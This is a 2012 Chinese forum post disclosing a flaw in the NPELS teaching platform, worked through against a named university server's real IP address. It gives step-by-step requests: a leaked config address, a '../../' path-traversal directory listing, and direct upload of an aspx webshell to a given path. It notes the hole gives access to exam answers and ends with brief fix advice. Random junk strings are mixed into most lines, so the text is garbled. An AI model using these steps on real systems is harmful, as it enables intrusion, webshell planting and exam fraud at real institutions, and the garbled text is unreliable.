找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2441|回复: 0
打印 上一主题 下一主题

新理念外语网络教学平台文件上传漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-4 11:10:29 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
好多大学都在用这个教学平台,这个漏洞会导致直接拿到试题答案,甚至作为跳板继续渗透进入学校其他服务器中
# x! d) D% H9 m
- d( N9 [" ^- G; c详细说明:) T- \" H' `2 t, y3 @

8 u# N$ E7 k  Q' y8 O- W2 g以南开大学的为例:
5 K6 P- \  ]& Ohttp://222.30.60.3/NPELS4 y+ b, q/ d1 E+ T3 {9 S$ M  U
NPELS_LearningCenter_5.0 客户端下的 Update.exe.config 文件泄露一个重要地址0 w! l$ ]8 v3 e* a7 L! r5 i. e
<setting name="Update_CommonSvr_CommonService" serializeAs="String">
: j. r, h& ?0 t) E% R* R<value>http://222.30.60.3/NPELS/CommonService.asmx</value>
1 J, j$ `2 O: y$ s</setting>6 z, A* H6 P% _% D: Z5 T
及版本号2 h4 C$ i, c8 d  o( E: K
<add key="TVersion" value="1, 0, 0, 2187">
" [/ r! g, ]$ |6 @2 m. Z6 l, j</add>! ~3 J- F. N+ O+ P2 W( B( V! ]
直接访问8 q' n3 }4 W8 @6 V
http://222.30.60.3/NPELS/CommonService.asmx
7 I( o5 t' j1 h/ \6 G& F6 _使用GetTestClientFileList操作,直接 HTTP GET 列目录:/ E3 u- N/ r, J8 B$ d0 [8 Q
http://222.30.60.3/NPELS/CommonS ... tFileList?version=1, 0, 0, 21875 b; U+ b- r3 I% A. q0 q
进一步列目录(返回的网页很大,可以直接 wget 下来)
# D! x: U( h7 K# `http://222.30.60.3/NPELS/CommonS ... List?version=../../4 X! F+ [2 K4 P0 j

! L$ {( ?! k! c! m( F发现
2 m2 X5 g+ R3 \- h( g: ihttp://zzxx.nankai.edu.cn/npelsv/editor/editor.htm$ B: o: n! R3 d5 }; A7 W
可以上传,直接上传aspx木马即可,不需要改后缀名或者文件头
: u4 {$ `9 \. F' Y0 l. c8 Q5 a上传后继续列目录找到木马地址直接访问即可
  ]& U' `' n, _1 P' u6 x0 k4 e
2 F7 h$ Q* v- W: Y) X! JOOXX, Z0 `( Z1 C0 ]" J3 U% J  n

, }1 e5 |# ^9 J' n/ {Google "新理念外语网络教学平台" 测试了几个其他的站,都有类似的列目录上传方法  x# e& D# C+ D* f; V, n
漏洞证明:( S( y) Z1 p2 n3 j0 j% A9 g
$ a' d+ Z' x1 G+ t3 u1 j
列目录:2 ~  `- q7 n  Y; A4 t
http://222.30.60.3/NPELS/CommonS ... List?version=../../
. j# A7 X( P# u9 ~, |  D" x9 Z文件上传:
% ]5 L* D: C  t4 x$ j: F/ whttp://222.30.60.3/npelsv/editor/editor.htm% i! m( S4 A6 Y. W  B# b# S1 ~9 a

0 N! R# H! B5 P, O( k上传木马:
# K3 t$ X& D" s, f; S$ d% s; g* Phttp://222.30.60.3/npelsv/editor/uploadfiles/1.aspx' E; y2 ]! e8 W. J, y1 A
4 N" J1 g& v1 }. ]0 K$ Y
修复方案:# Q4 {" X# i, D& A0 z* B  Q3 ]9 h' _
好像考试系统必须使用 CommonService.asmx! X  [& |8 K  S. B4 t1 T
最好配置文件加密或者用别的方式不让它泄露出来; l; F: O1 t. ?6 p2 S0 }
并且检查或删除各上传入口,像 http://222.30.60.3/NPELS/Upload.aspx 一样​
& s, P/ f* f% s9 ?& \
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表